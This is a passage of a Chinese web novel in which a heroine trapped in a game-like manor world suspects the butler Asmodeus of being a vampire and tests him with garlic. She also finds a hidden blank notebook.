阿斯莫德继续说道:“一定会又开心又心疼的,我会为您传达您的思念。可惜最近这段时间维森先生不见任何人,哪怕是我,也只有在需要的时候才能出现在他面前。”
“好吧。”纪觅依语气落寞,不知情的人看到这幅情景,可能真的会认为她是真的很遗憾不能与未婚夫相见。
但她内心却十分雀跃,不管怎么样,现在确定了庄园内两个重要NPC的房间,后期如果真的要搜集线索,也至少能规避不少麻烦。
阿斯莫德注意到她的低落,耐心询问道:“您是觉得无聊了吗?”
这个问题有点突然,纪觅依摸不着头脑,支支吾吾地回答:“啊?嗯......有点吧——”
“您想去集市逛逛吗?听说那里有不少像您这样的贵族小姐会喜欢的货品,您如果感兴趣的话,下午我会做好准备工作,与您一同前去。”
???
所以说,自己的活动区域不止在这个庄园,还可以去其他地方?
这是不是说明,线索不止在庄园内!
“我想去!”她迫不及待的回应,生怕错过了这个机会,“谢谢你,阿斯莫德!”
“我的荣幸。”
阿斯莫德微微俯身行礼,看向纪觅依的眼神掺杂了一些难以言喻的温柔:
“我会在午餐后备好马车,您午休结束后直接到昨天进来的大门处,我将在那里等候。”
4. 那个管家 危险!
“那我回房间准备一下?”
好歹也是出门,纪觅依准备换一套适合外出的衣服,顺便整理一下思路。
“好的,伊拉小姐。在用餐前我会来提醒您的。”阿斯莫德说完之后注视着纪觅依回到自己房间,直到她关上房门,这道视线才消失。
纪觅依回到房间,背靠着房门深深呼出一口浊气。
这神出鬼没的管家活生生把她练成了大心脏,这要是回到现实世界,抗压能力吊打同龄人。
至少是敷衍过去了......
虽然不知道管家会在维森先生面前怎样编排自己,但好歹他也没揪着自己不放。
那他的房间号——如果是维森先生安排的,说明他们二人并非是表面这样和谐的主仆,至少维森先生对阿斯莫德恶意不小。
可如果是管家自己选择,这也想不通啊,就这么讨厌自己吗?选这么一个不吉利的数字来诅咒自己?
纪觅依边推理边朝衣柜走去,拉开柜门后仔细筛选了一番,不能太华丽,也不能太随意......
在重重筛选下她取出了一件蓝粉配色的纱裙穿上,层层软纱堆砌出美丽的弧度,胸前、袖口与裙摆的边缘缝制着粉白色的蕾丝,蕾丝的边缘点缀着星星点点的珍珠。
她在镜子面前将软纱理顺,左右转了转,十分满意地点了点头。
外貌检查圆满完成,那么接下来趁阿斯莫德还没来,看一下房间里有没有什么线索吧。
纪觅依绕到书桌后,将从上到下排列的三个抽屉一一拉开,里面没有什么特殊的东西,就是常用的牛皮纸、羽毛笔、墨水,一个长条状的绒布小袋?
里面是——一把精致的银刀?
它是用来划开信件上的火漆的吗?纪觅依举起银刀端详着,随后放回袋子,塞进裙摆的暗兜里。
不管怎么样,这把利器她收下了,万一发生什么事,至少可以防身。
书桌这边应该没什么有用信息了,她走到床头柜前蹲下,第一层抽屉里空无一物,在拉开第二层抽屉时,却怎么也拉不出来。
有线索?
她直接一屁股坐在地上,一只手撑着柜子,另一只手紧紧攥着抽屉把手向外拉,可抽屉还是纹丝不动。
奇怪,像是有什么大东西卡住了?
她刚准备趴下看看抽屉底部,门外的“叩叩——”声传来。
“您准备好了吗?现在可以下楼用餐了。”
她立马起身,向房门走去的同时拍了拍裙摆不存在的灰,拉开门看到阿斯莫德同早上一样带着标准笑容,保持着标准站姿。
“伊拉小姐,这身衣服衬得您更加美丽了。”阿斯莫德语气诚恳,搞得纪觅依有点不好意思。
她刚想礼貌回应一句,阿斯莫德又开口道,“可是我觉得,您还缺一顶帽子。方便我进您的房间吗?”
“啊,方便方便!”
纪觅依话音刚落,管家就已经迈出步子走到衣柜前,拉开衣柜下方的第一层大抽屉,从里面取出一顶波奈特样式的帽子,双手捧着递到她面前。
纪觅依接过戴到头上,对着穿衣镜调整着,帽前的薄纱轻轻垂下,遮住了镜中少女的脸。
她将面前的薄纱向上一拨,侧头看到阿斯莫德满意的笑容,这种表情出现在他脸上可真是稀奇。
“我必须要戴这个帽子吗?”
纪觅依不停地扒拉着头纱,帽子好看是好看,但多多少少有点挡视线,如果戴着它去集市,肯定会影响自己的探索。
“伊拉小姐,很抱歉,集市里的平民太多了。”阿斯莫德顺手接过纪觅依摘下的帽子,“出于礼节和维森先生的意愿,戴上它将会是一个正确的选择。”
看来只能戴上这个美丽废物了......
纪觅依百般无奈,目前“寄人篱下”的处境没有给她提供其他选择,只能到了集市想办法把管家支开。
这维森先生也是有点病,从昨天到今天一面都没见到,还管起自己的着装了。
也幸亏没见到,不然真不知道怎么和一个傲慢且掌控欲强的贵族相处。
阿斯莫德察觉到纪觅依的不悦,温声宽慰道:
“请原谅我的无能为力,伊拉小姐,我必须遵从维森先生的命令。”他微微俯身拉近了与纪觅依的距离,声音低沉而恳切,“为了弥补您,我会无条件满足您的一个要求,无论多过分都可以。”
多过分都可以?那能送我回家吗?
显然不行,依照阿斯莫德所说的,他不能违背维森的命令,就连自己戴不戴帽子这种小事,都要由那个名义上的未婚夫决定,这种一键通关的捷径方式肯定指望不上管家了。
但也可以从中推测,管家的房间号多半是维森的安排——
可既然这个社恐未婚夫不喜欢阿斯莫德,甚至上升到诅咒的程度,又怎么做到放心把庄园大大小小的事情交给他呢?
纪觅依想不明白这一点,也好奇这个凌驾于主持人之上的维森先生究竟是什么身份。
虽然依旧迷雾重重,但现在至少知道了这对主仆的实际关系。
她头一偏,嘴巴一抿,欲言又止的样子,片刻之后从阿斯莫德手中拿回帽子,装作妥协道:“好吧......”
“您下楼用完餐休息好后,可以直接去大门,我现在继续去准备。”
阿斯莫德转身离去,留下了一个匆忙的背影。
纪觅依在他离开没几分钟后也下了楼,视野范围内却早已没了管家的身影。
纪觅依来到餐桌前坐下,餐具却不像早晨那样极端对称的陈列,叉子离盘子的距离更近。
这肉眼细看才能发现的差别,可能已经是某个强迫症为了避免她过于拘谨,做出最大的让步了。
阿斯莫德的行为已经体贴到让纪觅依有点心疼。
同为牛马,管家连鸡毛蒜皮的小事都得听老板维森的,还得事事精益求精,考虑周到。
纪觅依越想越气,达到了感同身受的境界,用力切割着肉排,在心里面把素未谋面的维森从里到外都数落了一番,不一会盘中的食物就销声匿迹。
她吃完后擦了擦嘴,起身向大门走去,门外的阿斯莫德梳理着马匹的鬃毛,抬眼看到纪觅依时眼睛里闪过一丝诧异。
“您不需要休息吗?”
纪觅依摇了摇头,扬手将帽子往头上一扣,扯了扯薄纱:“我一点也不累呢!我们快出发吧,阿斯莫德。”
“好的。”阿斯莫德拉开车门,纪觅依提膝一迈就钻了进去,对于她而言,只有白天相对安全,外出的时间更是宝贵。
她坐稳后不到一刻钟,马车开始缓缓前进,比刚来庄园坐的马车平稳得多。
按理来说,越颠簸才越容易晕,晕车的表现也应该是犯恶心,可是......
好困——好困——
在她眼皮挣扎无果,脖颈一软,瘫倒在软垫之前,纪觅依发现了一个严肃的问题:
这具身体是字面意思的晕车啊!
-----------------
“伊拉小姐,我们已经到了。”
马车刚停下,纪觅依就迅速苏醒过来,拨开侧窗的帘子,阿斯莫德正欲打开车门。
这身体有bug啊,纪觅依心里不禁埋怨,本来还想观察一下路上的情况,可就因为这一晕,庄园和集市对她而言依旧是两个独立的地点,她的行动还会受限。
那就更得注重这次来到集市的机会了,至少要找到点关键信息。
纪觅依在阿斯莫德的搀扶下踏下马车,站稳后她很明显感受到管家正在轻柔地整理头顶的薄纱。
纪觅依仰头与他对视,隔着纱只能看到他墨绿的眼眸眨动了两下。
“走吧。”阿斯莫德伸出戴着黑色皮手套的手,纪觅依在他的示意下轻轻搭上。
还没有走到集市入口,纪觅依就能听到声调不同的吆喝叫卖声。
在她眼中高高矮矮、不同身形的人像一团团色块交叠,这个帽子无疑成为她探索过程的最大障碍,可是在管家眼皮子底下是不可能掀开的。
纪觅依的食指在阿斯莫德手心敲了敲,开口道:“阿斯莫德。”
阿斯莫德停下脚步,俯身偏头,等待着纪觅依的吩咐。
“我想自己逛逛,可以吗?”
“这里人很多,作为一个称职的管家,我......”阿斯莫德还没说完,就被纪觅依打断。
“那作为一个称职的管家,你能帮我买点花吗?我想摆在房间,你这么厉害,一定能
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选出最合适的!在此期间——”
纪觅依双手合十作恳求状,“就让我自己逛逛,求你了,阿斯莫德!”
“好吧——”看着纪觅依这幅样子,阿斯莫德也没办法拒绝,无奈的答应了她的请求,“如果您遇到什么,请一定要及时呼唤我,我会第一时间赶过来。”
阿斯莫德掏出一个精致的钱袋,放在纪觅依手中:“考虑到您的安全,我会尽快回到您身边,也请您不要乱跑,好吗?”
纪觅依猛地点了好几下头,颠了颠手中的钱袋,沉甸甸的钱币挤压摩擦,发出悦耳的金属碰撞声。
阿斯莫德说完之后向集市右边走去,高挑的身姿十分突出,纪觅依看着他离去,直到变成一个黑色的小点。
她立即身子一转,手一抬将纱幔揭开,向左侧快步迈去。纪觅依在人群中穿梭,留意着每一个摊位。
“嘿,杰尼!我昨天接了个大单子,一下子赚了不少!”
好熟悉的声音!
纪觅依扭头一看,昨天送自己来庄园的车夫一巴掌拍在他口中名叫“杰尼”的男人肩上。
车夫叉腿一坐,掏出火柴一划,点燃自己和杰尼手上的烟卷,二人吞云吐雾,相谈甚欢。
纪觅依假装在车夫背后的香料铺挑挑拣拣,实则偷听着他们的对话。
杰尼笑着推搡了一下车夫:“什么活不介绍给我?”
车夫环视了一下周围,确认没人注意才开口:“送个贵族小姐去北边的庄园......”
“你疯了!”杰尼一声惊呼,车夫一把捂住他的嘴。集市上人来人往,没人注意到这二人。
杰尼把捂在自己脸上的手扯下来,压着嗓子说:“你怎么连那种地方都去?”
车夫的拇指和食指来回搓动:“还不是因为这个嘛,你知道拉这一趟给多少吗?赶上你我干十天活了!”
“话是这么说,你以后可别接这么危险的!万一出了点......”
“不会的不会的,这你放心。”车夫拍了拍自己的胸脯,“我把那个贵族小姐甩下车,扭头就跑了。那庄园我不可能靠近一点点!”
“唉——”杰尼唏嘘道,“可惜那个女孩了,你还记得那个传闻吗?”
杰尼说完凑到车夫耳边窃窃私语,纵使纪觅依耳朵再灵也听不清他们在聊什么。
话都到这了,纪觅依肯定要搞清楚庄园的传闻是什么,她将头上的纱掀下来。既然听不到,那就当面问!
她绕到二人面前,杰尼看到纪觅依的靠近,将烟一掐,用肩膀顶了顶车夫。
纪觅依盯着车夫,询问道:“打扰二位了,可以找您打听个事吗?”
杰尼一看不是找自己的,屁股一拍就走了,只潇洒的留下一句“去干活咯”。
在同伴走后,车夫把烟往地上一丢,用脚尖碾了几下。
他总感觉面前的少女十分熟悉,可因为遮面的原因,久久回忆不起:“您想打听些什么呢?”
纪觅依把脸前的纱幔一拨,车夫看到这张熟悉的脸,像是活见鬼般,扭头就逃,却被纪觅依一把拉住。
“你别走!”
“你,你,你怎么还活着?”
车夫不知道眼前这个娇弱的贵族小姐哪来那么大力气,自己的手臂被攥住怎么也挣脱不了,这也使他越来越坚信纪觅依已经是非人的存在。
由于过于使劲,纪觅依的语气都显得狠厉起来“你再逃的话,我就喊我的管家过来了!”
“别,别——”车夫一下卸了力,“您别喊他,您别喊——”
“你在怕什么?什么叫我还活着?”纪觅依看对方不打算逃了,将手收回,“你最好老老实实交代。”
车夫眼睛咕噜转了好几圈,才小心翼翼开口:“您不知道啊?您去的那个庄园全是......”
因为害怕,车夫最后几个字声音小到像蚊子叫。
纪觅依从钱袋里倒出一把银币,对方的眼神一下亮了,什么恐惧一瞬间烟消云散。
纪觅依将手缓缓伸出,一字一顿问道:“全是什么呀?”
车夫憨憨的笑了好几声,点了点手心的银币的数量,宽大的手掌一把包住,塞进右兜,左手掩着嘴巴,凑到纪觅依耳边:
“吸血鬼!”
5. 大蒜承包商
纪觅依一惊,后退一步盯着车夫,表情凝重。
“你从哪听说的?”
车夫挠了挠脑袋,回答道:“其实我们这一片的都知道,那已经是很久之前了,有个疯子跑到这,大喊着‘庄园出大事了,都死了!都死了!’。”
说到这,他身子猛地一抖:“大家一问,才知道除了现任主人,其他人都成了干尸!你都不知道有多惨,血流成河啊!”
相较于这个传闻的炸裂程度,纪觅依更佩服车夫的表达能力,说得好像他自己亲眼见证了一般。
“最开始我们也不信,直到那个疯子失踪了,过了几个月,镇上的猎户发现了他的尸体。”
车夫连叹了好几声气,唏嘘道:“真是作孽啊!”他话音一顿,严肃地提醒纪觅依:“伊拉小姐,你真得小心那个管家,大家都不知道他是什么来头,我觉得哈......”
“咳,别说了,别说了!”
对于纪觅依的打断,车夫一脸不解,直到他身后传来阿斯莫德的声音——
“二位在聊什么呢?”
纪觅依端起一张乖巧的笑脸,回应道:“我遇到了熟人,叙叙旧呢!”
她侧头用眼神示意车夫:“诶!您不是还要忙,我的管家来接我了,就不打扰您了。”
“啊,啊,对对对!我还有好多活没干,我,我忙......”
刚才抖成筛子的彪形大汉吓得抱头鼠窜,一溜烟没影了,身后的阿斯莫德嘴角一勾,像一只得逞的黑猫。
“您的熟人真有意思。”阿斯莫德将纪觅依的头纱放下,并没有质问或责备她掀开头纱的行为,只是将手递出,“花已经放到马车上了,您还想买些什么?”
纪觅依没有第一时间回答,她还在苦苦思索刚才车夫的话。
虽然车夫所讲的传闻疑点重重,但结合着她对吸血鬼的认知和所察觉到的异样,一切都变得合情合理起来:
吸血鬼惧怕什么——阳光?大蒜?银质器具?
回想起昨晚黢黑的主楼内部与管家戴着手套触碰银质刀叉的画面,纪觅依对自己的猜测越来越有信心,同时也越来越纠结。
直接通过询问阿斯莫德来验证吗?
纪觅依心里很没底,管家的身份不单单是主持人这么简单,如果直接问会不会触发特殊剧情呢?
以自己目前的能力,肯定没办法应对这种大变数,那就......
“阿斯莫德,我们买点大蒜吧!”
“大蒜?”阿斯莫德语气不解,“您为什么突然想买这个?”
“我喜欢嘛,走吧走吧。”
纪觅依敷衍了几下,拉着对方伸出的手,走到刚才躲着偷听的香料铺。
香料铺的老板看到她又折回来,热切的招呼道:“您想买点什么?”
“我要买大蒜,您有多少拿多少!”
老板一听这话,又看到对方的穿着和身旁的管家,心里大喜,笃定纪觅依是个出手阔绰的大小姐。
“好嘞!”老板扭头扛了一麻袋大蒜,掏出几颗,殷勤的递给阿斯莫德,“您看看,这都是今天刚到的,我敢保证这集市上没有比我这更好的了!”
阿斯莫德低头看着手上几颗大蒜发着呆,这对于一个专业的管家而言,也是从未遇到的局面。
纪觅依从麻袋里掏出一颗大蒜,递到阿斯莫德鼻尖:“来,你闻闻,怎么样?”
“挺好的。”阿斯莫德老老实实回答,语气中没有一丝厌恶与不耐烦。
“这颗呢?那这颗呢?”
阿斯莫德的回答如同触发了纪觅依的连招开关,她就这样一颗接着一颗,一句接着一句,一连递了十几颗,阿斯莫德都没有反应,只一味的嗅闻和肯定。
这把纪觅依累惨了,也把老板吓坏了,他以为这位大小姐铁了心要找茬。
阿斯莫德看着纪觅依停下动作,叉着腰不说话了,关心道:“您累了吗?其实我可以自己来挑选......”
哈,哈。
纪觅依心里面苦笑,气不打一处来,摆摆手:“不用,都要了,都包起来!”
说完后,她把手中还没递出去的大蒜塞进暗兜里,心里暗暗谋划:闻没反应是吧!那就想办法让他吃,就不信暴露不了!
老板如释重负,脸上绽开喜悦的笑容,手脚麻利的把麻袋扎好:“好嘞,您拿好!下次再来!”
纪觅依本想扭头就走,可奈何视线不清,在人群中行动受阻,只能侧身等着阿斯莫德。
对方像个无事人般,左手一提将满是大蒜的麻袋轻松拎起,右手伸出搀扶纪觅依。
“您还有什么需要买的吗?”
纪觅依只淡淡的回了一句:“没有。”
阿斯莫德点头回应,在人群中牵着纪觅依回到马车。
纪觅依钻进马车里就一把掀开帽子,看到安分靠在角落里的一束红玫瑰。
嗯......虽然不是很喜欢,但胜在还挺新鲜。
纪觅依抱住那束花,馨香扑面而来,晕过两次的她熟练的往软垫上一靠,等待回到庄园。
-----------------
在阿斯莫德的呼唤下,纪觅依走下马车。
阿斯莫德从车内取出帽子,温柔地注视着眼前抱着花,还没回神的纪觅依,询问道:
“您喜欢这束花吗?”
纪觅依看了看花,又看了看阿斯莫德,决心挑点刺:“我不喜欢,红玫瑰太俗了。”
“哦?”阿斯莫德眉头微蹙,“我以为贵族小姐都会喜欢。”
“我和她们可不一样,阿斯莫德。”
纪觅依心里很清楚自己在没事找事,都怪这个沉浸式体验,她现在真的把自己当做贵族小姐一样,明明之前自己还是个遇事不吭声的小窝囊。
阿斯莫德听到纪觅依的回答只是默默点头,像是要牢记于心一般。
“我下次会买其他的,直到您满意为止,好吗?”
这句话一出来搞得纪觅依恨不得扇自己两巴掌,质问自己为什么要为难一个尽职尽责的管家。
不对不对!他可是NPC!快收起同情心,纪觅依!
“好......”纪觅依飞快丢下这一句,朝主楼走去,管家在她身后默默跟着。
直到走到餐厅,他喊住纪觅依:
“伊拉小姐,一刻钟后我来喊您就餐,可以吗?”
纪觅依点了点头,上楼走回房间,而她不知道的是,在她踏上二楼的那一刻,楼下的阿斯莫德发出一声嗤笑,目光锁定着她的背影,直到消失在视线范围。
纪觅依关好房门后,将耳朵贴在门上仔细听了一会,确保外面没有脚步声,才走到床头柜。
既然早上都可以拉开第一层抽屉,说明问题不是出现在两层抽屉的夹层和缝隙里。
她的手指在第二层抽屉底板下仔细搜查,忽然,指腹感受到一道整齐的凹陷——那是一条隐蔽的缝隙。
纪觅依用指甲抵住缝隙,尝试撬开,可手指都扣痛了,缝隙依旧纹丝不动。
看来不是这样的......
纪觅依再次摸索,发现缝隙两端的木板有细微的高低差,一个念头闪过,她将前半段木板向里一推,木板顺着她的动作滑动,露出了一掌宽的空隙。
她向抽屉内的空间探去,指尖触碰到了一本硬皮笔记本,在那一刹,一丝说不清道不明的寒意袭来。
是书吗?还是日记?
纪觅依无法确定,出于稳妥的考虑,她将木板推回,起身向门口走去。
阿斯莫德只给了她一刻钟,光发现抽屉的打开方式就耗费了不少时间,与其现在就调查清楚,不如等安全再来。
她刚打开门,就看到了正欲敲门的阿斯莫德,更加庆幸了自己理智的选择。
而
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对方显然被自己突然开门的行为搞得猝不及防,那悬在空中的手顿了一秒,才缓缓收回。
他微微低头,与纪觅依对视:“我以为您还要晚点才出来呢?”
这话说得,要不是纪觅依听了最开始的脚步声,肯定会被他的话唬住,以为管家在某个不为人知的角落偷看自己。
“我一直在等你呢。”纪觅依扬起下巴,头一歪,“我早就饿了,走吧,阿斯莫德。”
不知是哪一句,搞得阿斯莫德耳尖一红,他在沉默中关上房门,像个小尾巴一样跟在纪觅依身后。
纪觅依走到楼下餐桌前,看到盘中色香味俱全的番茄肉酱意面,着实惊了她一跳。
要是现实世界,这就是板上钉钉的预制菜,可在这个世界......她只能感叹阿斯莫德太牛了。
与此同时,这盘面也给她带来了灵感。
纪觅依拉开椅子坐下,单手托腮,笑眼弯弯的注视着正在给自己倒茶的管家,看起来纯良的不得了。
阿斯莫德余光瞥到她的笑脸,虽然搞不清下午还对自己不满的纪觅依,现在却笑脸盈盈的原因,他还是礼貌性的回了个笑容。
他将杯子稳稳的放在纪觅依右手旁,准备离开时,纪觅依的声音响起:
“我亲爱的管家,再帮我拿份餐具和意面,好吗?”
即使阿斯莫德不理解为何纪觅依的态度突然变得亲昵,出于职业素养,他也没有提出任何质疑。
阿斯莫德整理了一下本就一丝不苟的领结,转身从桌尾的餐车端起餐具和意面,放在桌上。
“还有什么需要吗?伊拉小姐。”他正准备将餐盘放在纪觅依面前,对方却抬起手,做出暂停的手势。
“阿斯莫德,坐下吧。”纪觅依的声音轻柔,又带着不容置疑的意味,“我想邀请你共进晚餐,我一个人吃属实无聊。”
对于突如其来的邀请,他绿眸中闪过一丝讶异,姿态却淡定自若,他将餐盘放在紧挨纪觅依的右侧座位,拉开椅子,端正地坐下。
而搞得阿斯莫德不知所措的纪觅依,从兜里掏出了集市上拿的大蒜,在他疑惑的目光下,不紧不慢地剥起蒜来。
整颗大蒜在她手中变成一颗一颗蒜瓣,堆在她和阿斯莫德之间。
看来香料铺的老板并不是自卖自夸,光是坐在那,纪觅依就能闻到蒜浓郁辛辣的味道。
“我......嗯,我们家族有个传统。”纪觅依磕巴了一下,立马理清思路,抬起眼,嘴角噙着一个天真又狡黠的笑,“吃这样美味的意面,必须要配上最新鲜的大蒜。”
她捻起一颗蒜瓣,举到阿斯莫德面前,眼神真挚的直视着他。
“我专门为你剥的,可别辜负了我的好意呀!”
那颗蒜瓣在二人之间,像一颗定时炸弹,在沉默中进行着无声的倒计时。
阿斯莫德没有做出任何回应,他的视线从蒜瓣慢慢移到纪觅依的脸上。
他脸上完美无瑕的微笑出现了裂痕,墨绿的眼底不再是浮于表面的笑意,而是翻涌起深沉难辨的情绪——是探究,是玩味,还有......被冒犯的危险气息。
纪觅依的心跳在胸腔里擂鼓,自己的行为无疑在玩火,相较于对未知的恐惧,她心中更多的是一种不知从何而来的兴奋。
如果猜对了,那庄园的秘密一定很快会被推出。
如果猜错了......
她也有办法应付过去!
纪觅依的手臂微微颤抖,却没有收回,反而向前一伸,离阿斯莫德更近了。
阿斯莫德微微倾身,带着手套的右手接过那颗蒜瓣,那颗蒜瓣在他指尖一顿,随后缓缓转动,被凝重的审视着。
“居然还有这样的家族传统吗?”
洁白的蒜瓣在黑色皮革的束缚下显得可怜兮兮,而阿斯莫德没有停下手中的动作,只是以更难以捉摸的眼神与纪觅依对视。
6. 吃蒜大王诞生ing
“对啊!”纪觅依理直气壮的回应道,手猛地一拍桌子,毫不心虚,“我们家族就这个传统,吃面不吃蒜,味道少一半!”
“您的家族,真是有意思。”阿斯莫德在纪觅依注视下将蒜瓣放入盘中,拿起叉子,卷起几根意面和蒜瓣一起送入口中。
随着他的咀嚼,纪觅依仿佛从他眼中看出了他未说出的那句——
您更是有趣。
阿斯莫德以极慢的速度咀嚼着,眼睛依旧直勾勾地看着她。
纪觅依感觉对方想把她当做蒜瓣,咬的粉身碎骨。
恰在此时,阿斯莫德吞咽后动作一顿,吓得纪觅依心跳一滞,左手立即摸上暗兜里的银刀。
他的脖子一下涨得通红,红晕一路蔓延至耳后,青筋微微暴起。
这是......要变身了?
纪觅依吞了吞嘴中分泌过快的唾液,左手将刀柄攥得发热。
如果管家暴起了,她就第一时间拔出刀,再不济还有桌子上的餐刀。
既然他对大蒜有反应,那银制餐刀肯定有用!
在这千钧一发之际,阿斯莫德带着椅子猛地向后一退,纪觅依几乎是从椅子上蹦起,右手指甲死死扣住桌面。
而阿斯莫德弯下腰,控制不住地剧烈咳嗽起来,肩膀剧烈地抖动,仿佛下一秒要将肺都咳出来。
他抑制不住咳嗽,抬起头时,本就冷白的皮肤下青紫色的血管凸显,发丝在晃动中露出额头上那块疤痕,长期古井无波的眼眸泛着泪花,如同一圈圈涟漪漾开。
纪觅依从未见过如此失态的阿斯莫德,原本那个充满攻击性的管家在此刻,更像是残缺且濒临破碎的瓷器。
这应该不是演的吧?
看着他一只手紧掩口鼻,另一只手颤抖着去拿空茶杯,纪觅依实在做不到无动于衷。
咳成这样,如果还是伪装,那自己也认了。
她将刚抽出一角的小刀又塞回兜里,端起空茶杯,倒满水递到阿斯莫德嘴边。
对方无暇接过水杯,颤抖的唇挨上杯缘,微微张开,任由水流涌入。
在此刻,纪觅依既是他的救命稻草,又是他的操控者,一切都掌握在她手中。
可纪觅依没有这种恶趣味,她的手腕缓慢且平稳地倾斜,留意着阿斯莫德的脸色。
他小口吞咽着茶水,紧蹙的眉头慢慢展开。等缓过来后,阿斯莫德向后退去,刚好躲开了纪觅依本想拍拍他后背,帮他顺顺气的手。
要是别人,纪觅依肯定就要开始嘲讽了——吃的时候那股狠劲呢?结果呛成这样,还以为多牛呢!
但这个人是阿斯莫德,纪觅依憋到嘴边就只剩下一句:“没事吧?”
阿斯莫德的手指抹去眼角和嘴边的水渍,双唇抿起。
他会生气吗?毕竟逼着他吃的是自己......
一向本分老实的纪觅依,难得做了点坏事,心中忐忑的不得了。
阿斯莫德清了清嗓子,声音仍然略微沙哑:
“对不起,我辜负了您的好意。”
嗯?
???
他是说——对不起?
看着满脸歉意的阿斯莫德,纪觅依恨不得大声求他骂自己,而不是一句真挚的“对不起”。
“您愿意和我分享,还亲手剥好,这已经是我的万般荣幸。”阿斯莫德低垂着头,开始反省自己,“可我辜负了这份好意,还在您面前失了态。”
面对他这副可怜模样,纪觅依的良心作痛。
她心虚到有些结巴,道:“没......没关系。”纪觅依几乎是手忙脚乱地将那杯水又往他面前推了推,“你,你再喝点水。”
阿斯莫德没有立马端起茶杯,只是用那双被水汽侵润的眼睛凝视着她。
“您不必担心,请坐下继续用餐吧。”他用手握住杯柄,递到嘴边轻抿几口,“我去收拾一下就回来。”
纪觅依坐回到位置上,她望着阿斯莫德背影消失在长廊入口,发了会呆才拿起叉子。
她表面上毫无波澜,手上机械地卷起意面,往嘴里送。
内心却万般挣扎,她不知道还要不要继续试探,看着阿斯莫德的那副样子,总感觉自己是在为难他。
不行,不行,不能就这么轻易动摇!
必须要得到准确的答案!
纪觅依控制住了疯狂泛滥的道德感,在心里对自己呐喊道:
“清醒点,纪觅依!万一他是装的呢?”
“不管怎样,都要确认这个传闻的真实性。别心软,他只是个NPC,你可是要回家的!”
想到这里,她重新振作起来,用力叉起盘子里最后一口面,塞进嘴里的那一刻,阿斯莫德出现在长廊入口。
他扯了扯手套,优雅地走到位置前,脸上又是熟悉的笑容。
阿斯莫德从暗兜里掏出一封平整的信,信封上缀着一枚暗金色的火漆。
信封被轻柔地放到纪觅依手边,她拿起信看了看,上面用花体写着——“致亲爱的伊拉”。
“这是?”
纪觅依心中有种不祥的预感,不会自己上午胡扯的话,真的被管家原封不动的传达给了维森吧......
“维森先生亲手为您写的信,请原谅我的疏忽,没有第一时间交给您。”
阿斯莫德的气息带着一股极强的薄荷味,浓郁到纪觅依心中一凉。
按时间来推,也就是在自己上午说完那番话,回到房间后,管家就转达给了维森,对方还给自己写了一封信,以慰藉相思之苦?
好羞耻啊!
上午那些话,纪觅依自己都不好意思再说一次,更不敢想在管家的艺术加工下,维森听到的该是多么腻歪的语句。
那如果以后真的见面?
纪觅依都不敢想下去了,自己要对一个陌生男子演出真挚的爱意会是什么画面。
这阿斯莫德也是的,不是说不怎么能见到维森吗!
阿斯莫德的格式化笑容此刻在纪觅依眼中,更像看热闹,期待着她读信的表情,之后偷偷告诉维森。
可她偏不如他的愿!
纪觅依将信封往胸口一捂,满脸娇羞:“谢谢你,阿斯莫德!”
她飞快地瞟了阿斯莫德一眼,随后转身快步向楼上跑去,看上去迫不及待想看到心上人会在信中对自己说些什么。
关上房门,纪觅依“啪嗒”一声将信丢到书桌上,蹲在床头柜前,推开底层的木板,掏出自己记挂已久的笔记本。
至于维森的信嘛,晚点再看也不碍事。
纪觅依翻开前几页,可里面的内容和她之前的猜测都不相符——
空白的纸张上一个字也没有。
她不信邪的从第一页快速翻阅到最后一页,可还是一无所获。
难道是被撕掉了?
可哪怕她掰开每一处夹缝,也看不到任何被撕毁的痕迹,抚摸纸张,也全部都平平整整,没有书写过的印记。
不应该啊?放在这么隐蔽的地方,纪觅依不相信得到的就是一本空白的笔记本。
可
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现实如此,纪觅依不相信也只能暂罢,将笔记本放回去。
如果把这个世界当做解谜游戏来看,目前的状态,最有可能的就是,还没找到对应的关键性线索。
她将自己说服,走回书桌,掏出兜里的小刀,划开火漆,取出里面维森的手写信浏览。
信写的很长,字迹华丽,充满了贵族式的、毫无营养的客套与关心。而就连这层关心里,都暗含了对自己行为的掌控——纪觅依甚至能想到,在管家告知自己的一举一动后,维森得意的神情。
这封信唯一有点价值的,只有坐落在飘逸的落款上的一句:
【我亲爱的未婚妻,一周后我将同你一起,看望你的父母......】
纪觅依无语,有用的线索就是空白的,无用的信息一股脑输出不带停。
她也知道埋怨无用,于是坐在椅子上,指尖有节奏地敲打着桌面,让自己冷静下来分析着现状。
如果空白笔记本是在可以抑制,那也说明是在提示,一定有什么她还没有发现,或者没有解决的。
她脑海中第一跳出来的想法就是阿斯莫德的身份。
那双一直被皮质手套包裹的双手一定有秘密!
纪觅依握着手上的小刀发着呆,这件事一定要在今天解决,可用什么正当理由能将他喊来,又能在“无意中”试探呢?
她一狠心,握住小刀在右手手心一划,鲜血争先恐后地涌出。
纪觅依抬起右手,找到昨晚的摇铃,急切的晃动,大声喊道:
“阿斯莫德!”
她数了数,十秒。
阿斯莫德打开了房门,看到疼的咬嘴唇的纪觅依和她手心的鲜血,瞳孔一缩。
“等我一下。”
阿斯莫德留下这句话,大概又是十秒,他回来了,手中提着一个小木箱。
他径直走到纪觅依身边,单膝跪下,打开药箱,温柔地托起她的右手,对待珍宝般为伤口消毒。
“好痛!”纪觅依痛得咂舌,顺带着手离阿斯莫德更近了一步。
阿斯莫德眼神一暗,手上的动作却更加细致:“您怎么这么不小心?”
“我太激动了,划开信封的时候没注意。”
纪觅依还在观察着阿斯莫德的表情,但凡她察觉到一丝不对,就立马抽开手,左手紧握的银刀默默给她打着气。
而对方只是默默地包扎,如果说有什么情绪,那也只是关心。
纪觅依收回被包扎过的手,绷带从手腕到掌心缠绕得松紧合度,是管家的一贯作风。
阿斯莫德没有起身,只是仰头等待着纪觅依的评判。
“你包扎的真好,阿斯莫德。”
纪觅依的右手手指收拢又舒展,循环了好几次,伤口没有因为她的动作而更加疼痛。
她的视线转向管家的手,开口问道:
“阿斯莫德,你可以回答我一个问题吗?”
“当然可以。”
得到肯定的回答后,纪觅依继续说道:“我很好奇,你为什么一直带着手套?我之前遇到的管家可不这样。”
为了防止管家搪塞过去,她特地使了个小聪明,免得阿斯莫德以着装礼仪来敷衍。
“在回答您之前,我也有个问题。”
他以极慢的速度轻扯着指尖的手套,似乎不得到纪觅依的回答,就不立即脱下。
纪觅依抬了抬下巴,示意他接着说下去。
“伊拉小姐。”他的声音低沉而平稳,“您是不是听到了什么传闻?”
7. 回家的诱惑
“咚——”
纪觅依的心脏一紧,阿斯莫德明明是跪着,以极低的姿态在她面前,却丝毫没有下位者的气质。
纪觅依选择保持沉默,此刻她的大脑还是一片空白,不知道如何回答才合适。
